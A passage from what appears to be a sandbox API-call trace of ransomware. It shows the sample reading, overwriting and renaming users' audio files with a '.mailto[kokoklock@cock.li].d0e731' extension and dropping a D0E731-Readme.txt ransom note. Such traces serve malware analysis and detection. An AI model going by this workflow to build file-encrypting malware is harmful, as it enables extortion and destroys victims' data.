returned 1 [0075.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479520) returned 1 [0075.573] CloseHandle (hObject=0x9dc) returned 1 [0075.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x34323c0 [0075.573] wcscpy (in: _Dest=0x34323c0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a" [0075.573] wcscat (in: _Dest=0x34323c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731" [0075.573] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\tntgoh5net4z7n.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\tntgoh5net4z7n.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.574] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34323c0) returned 1 [0075.574] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a", dwFileAttributes=0x20) returned 0 [0075.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccd70 [0075.574] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0075.574] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" [0075.574] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\d0e731-readme.txt")) returned 0x20 [0075.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0075.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccaf0) returned 1 [0075.574] RtlExitUserThread (Status=0x1) Thread: id = 765 os_tid = 0x1240 [0075.576] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\4k gby5p 5sna3yv1nuo.mp3")) returned 0x20 [0075.576] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3", dwFileAttributes=0x20) returned 1 [0075.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\4k gby5p 5sna3yv1nuo.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0075.576] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x1cc3f7c0 | out: lpFileSize=0x1cc3f7c0*=97670) returned 1 [0075.576] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x17d82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.576] ReadFile (in: hFile=0x9dc, lpBuffer=0x1cc3f794, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cc3f790, lpOverlapped=0x0 | out: lpBuffer=0x1cc3f794*, lpNumberOfBytesRead=0x1cc3f790*=0x4, lpOverlapped=0x0) returned 1 [0075.576] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34794f8 [0075.577] NtQuerySystemTime (in: CurrentTime=0x1cc3f76c | out: CurrentTime=0x1cc3f76c*=132121176334721615) returned 0x0 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xdcc4c16b [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x1a3893af [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x4ba92522 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xad0e4511 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xc4ec92bb [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x2e244076 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x7b5eaf74 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x84e1fde2 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xc82fe849 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xf3a269bb [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xc7c3da68 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x40d5e960 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x687ec8c2 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x17b0ac37 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xd9e25c6a [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x49c1aed4 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x6e12e723 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xa306c694 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xe87b7ada [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x6ba423c4 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xd70e4598 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x4899b252 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x9fffb848 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xcbfc200a [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x5602ea45 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x17125abd [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x5a11b139 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x2c91341b [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xc42a2262 [0075.577] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x41732638 [0075.578] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0xcdb04289 [0075.578] RtlRandom (in: Seed=0x1cc3f778 | out: Seed=0x1cc3f778) returned 0x464876a9 [0075.589] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.589] ReadFile (in: hFile=0x9dc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1cc3f744, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1cc3f744*=0x4096, lpOverlapped=0x0) returned 1 [0075.589] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0075.589] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0075.589] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0075.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479598 [0075.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479598) returned 1 [0075.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.590] WriteFile (in: hFile=0x9dc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1cc3f744, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1cc3f744*=0x4096, lpOverlapped=0x0) returned 1 [0075.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.590] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x17d86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.590] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cc3f77c, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1cc3f77c*=0x20, lpOverlapped=0x0) returned 1 [0075.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0075.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.590] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1cc3f790, lpOverlapped=0x0 | out: lpBuffer=0x3479548*, lpNumberOfBytesWritten=0x1cc3f790*=0x8, lpOverlapped=0x0) returned 1 [0075.590] WriteFile (in: hFile=0x9dc, lpBuffer=0x1cc3f7a8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cc3f790, lpOverlapped=0x0 | out: lpBuffer=0x1cc3f7a8*, lpNumberOfBytesWritten=0x1cc3f790*=0x4, lpOverlapped=0x0) returned 1 [0075.590] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cc3f790, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1cc3f790*=0x4, lpOverlapped=0x0) returned 1 [0075.591] WriteFile (in: hFile=0x9dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1cc3f790, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1cc3f790*=0x6c, lpOverlapped=0x0) returned 1 [0075.591] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cc3f790, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1cc3f790*=0x20, lpOverlapped=0x0) returned 1 [0075.591] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cc3f790, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1cc3f790*=0x4, lpOverlapped=0x0) returned 1 [0075.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479520) returned 1 [0075.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.591] CloseHandle (hObject=0x9dc) returned 1 [0075.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3431580 [0075.591] wcscpy (in: _Dest=0x3431580, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3" [0075.591] wcscat (in: _Dest=0x3431580, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731" [0075.591] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\4k gby5p 5sna3yv1nuo.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\4k gby5p 5sna3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.592] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431580) returned 1 [0075.592] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3", dwFileAttributes=0x20) returned 0 [0075.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347dee0 [0075.592] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0075.592] wcscat (in: _Dest=0x347dee0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt" [0075.592] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\d0e731-readme.txt")) returned 0xffffffff [0075.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0075.592] WriteFile (in: hFile=0x9dc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1cc3f78c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1cc3f78c*=0x481, lpOverlapped=0x0) returned 1 [0075.594] CloseHandle (hObject=0x9dc) returned 1 [0075.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0075.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd3f0) returned 1 [0075.594] RtlExitUserThread (Status=0x1) Thread: id = 766 os_tid = 0x1244 [0075.595] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\tz6tmazkgsucmzanoziu.m4a")) returned 0x20 [0075.595] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a", dwFileAttributes=0x20) returned 1 [0075.595] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\tz6tmazkgsucmzanoziu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0075.595] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x1ccbfeb8 | out: lpFileSize=0x1ccbfeb8*=63520) returned 1 [0075.595] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0xf81c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.595] ReadFile (in: hFile=0x9dc, lpBuffer=0x1ccbfe8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ccbfe88, lpOverlapped=0x0 | out: lpBuffer=0x1ccbfe8c*, lpNumberOfBytesRead=0x1ccbfe88*=0x4, lpOverlapped=0x0) returned 1 [0075.595] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.595] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.595] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479520 [0075.596] NtQuerySystemTime (in: CurrentTime=0x1ccbfe64 | out: CurrentTime=0x1ccbfe64*=132121176334877839) returned 0x0 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x87dce902 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xa6bd875f [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xbcfb1b9a [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x71e5411 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xf8c927d0 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x44652184 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x19f3a34b [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xdadc5a49 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x30f36ca8 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xf93913ae [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x6f0969fc [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xc517e8db [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x3ecb73f6 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xdba97043 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x601bc693 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xd8656a1a [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xec36ef2e [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x8637ecab [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x34a807f6 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xf5deaab6 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x7973ea12 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xe9ede1b [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x53e4adf0 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xe68620bd [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xeca16a40 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x25bc3d8d [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x1e7f80fa [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x5e0efe7e [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x41697a55 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x7c110427 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0xaa1e5501 [0075.596] RtlRandom (in: Seed=0x1ccbfe70 | out: Seed=0x1ccbfe70) returned 0x93b26606 [0075.607] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.607] ReadFile (in: hFile=0x9dc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1ccbfe3c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1ccbfe3c*=0x4096, lpOverlapped=0x0) returned 1 [0075.607] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479598 [0075.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479598) returned 1 [0075.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479598 [0075.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34795c0) returned 1 [0075.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.608] WriteFile (in: hFile=0x9dc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1ccbfe3c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1ccbfe3c*=0x4096, lpOverlapped=0x0) returned 1 [0075.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.608] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0xf820, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.608] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479598*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ccbfe74, lpOverlapped=0x0 | out: lpBuffer=0x3479598*, lpNumberOfBytesWritten=0x1ccbfe74*=0x20, lpOverlapped=0x0) returned 1 [0075.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479598) returned 1 [0075.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.609] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1ccbfe88, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1ccbfe88*=0x8, lpOverlapped=0x0) returned 1 [0075.609] WriteFile (in: hFile=0x9dc, lpBuffer=0x1ccbfea0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ccbfe88, lpOverlapped=0x0 | out: lpBuffer=0x1ccbfea0*, lpNumberOfBytesWritten=0x1ccbfe88*=0x4, lpOverlapped=0x0) returned 1 [0075.609] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ccbfe88, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1ccbfe88*=0x4, lpOverlapped=0x0) returned 1 [0075.609] WriteFile (in: hFile=0x9dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1ccbfe88, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1ccbfe88*=0x6c, lpOverlapped=0x0) returned 1 [0075.609] WriteFile (in: hFile=0x9dc, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ccbfe88, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1ccbfe88*=0x20, lpOverlapped=0x0) returned 1 [0075.609] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ccbfe88, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1ccbfe88*=0x4, lpOverlapped=0x0) returned 1 [0075.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0075.609] 